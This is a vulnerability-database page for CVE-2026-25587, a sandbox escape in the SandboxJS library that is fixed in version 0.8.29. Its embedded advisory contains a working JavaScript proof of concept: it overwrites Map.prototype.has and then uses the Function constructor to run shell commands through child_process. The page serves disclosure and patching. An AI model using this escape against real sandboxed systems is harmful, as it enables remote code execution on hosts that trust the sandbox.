CVE-2026-25587
criticalpriority · track · 0EPSS 0.007 · 53 %ileEUUSEPSS · scored 2026-10-27
SandboxJS is a JavaScript sandboxing library. Prior to 0.8.29, as Map is in SAFE_PROTOYPES, it's prototype can be obtained via Map.prototype. By overwriting Map.prototype.has the sandbox can be escaped. This vulnerability is fixed in 0.8.29.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (3)
Products and version ranges known to be affected.
advisories (1)
Vendor and ecosystem advisories describing this.
- GHSA-66h4-qj4x-38xp@nyariv/sandboxjs has a Sandbox Escape vulnerability2026-02-05ghsa · osvUS
### Summary As `Map` is in `SAFE_PROTOYPES`, it's prototype can be obtained via `Map.prototype`. By overwriting `Map.prototype.has` the sandbox can be escaped. ### Details This is effectively equivalent to CVE-2026-25142, but without `__lookupGetter__` (`let` was used during testing), it turns out the `let` implementation is bugged: ```js let a = Map.prototype; console.log(a) // undefined ``` ```js const a = Map.prototype; console.log(a) // Object [Map] {} ``` ```js let a = 123; console.log(a) // 123 ``` ```js const a = 123; console.log(a) // 123 ``` ### PoC ```js const s = require("@nyariv/sandboxjs").default; const sb = new s(); payload = ` const m = Map.prototype; m.has = isFinite; console.log( isFinite.constructor( "return process.getBuiltinModule('child_process').execSync('ls -lah').toString()", )(), );`; sb.compile(payload)().run(); ``` ### Impact Able to set `Map.prototype.has` -> RCE
also known as (3)
Other names and identifiers for this entity.
sources
Which sources assert this record, and when.
references (8)
External citations — patches, advisories, analysis.
- https://access.redhat.com/security/cve/cve-2026-25587cnnvd
- https://github.com/nyariv/SandboxJS/commit/67cb186c41c78c51464f70405504e8ef0a6e43c3cnnvd
- https://github.com/nyariv/SandboxJS/releasesPatchcnnvd
- https://github.com/nyariv/SandboxJS/security/advisories/GHSA-66h4-qj4x-38xpcnnvd
- https://github.com/nyariv/SandboxJS/commit/67cb186c41c78c51464f70405504e8ef0a6e43c3enisa_euvd
- https://github.com/nyariv/SandboxJS/security/advisories/GHSA-66h4-qj4x-38xpenisa_euvd
- https://github.com/nyariv/SandboxJS/commit/67cb186c41c78c51464f70405504e8ef0a6e43c3Patchnvd
- https://github.com/nyariv/SandboxJS/security/advisories/GHSA-66h4-qj4x-38xpExploitVendor Advisorynvd
Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.
Free scan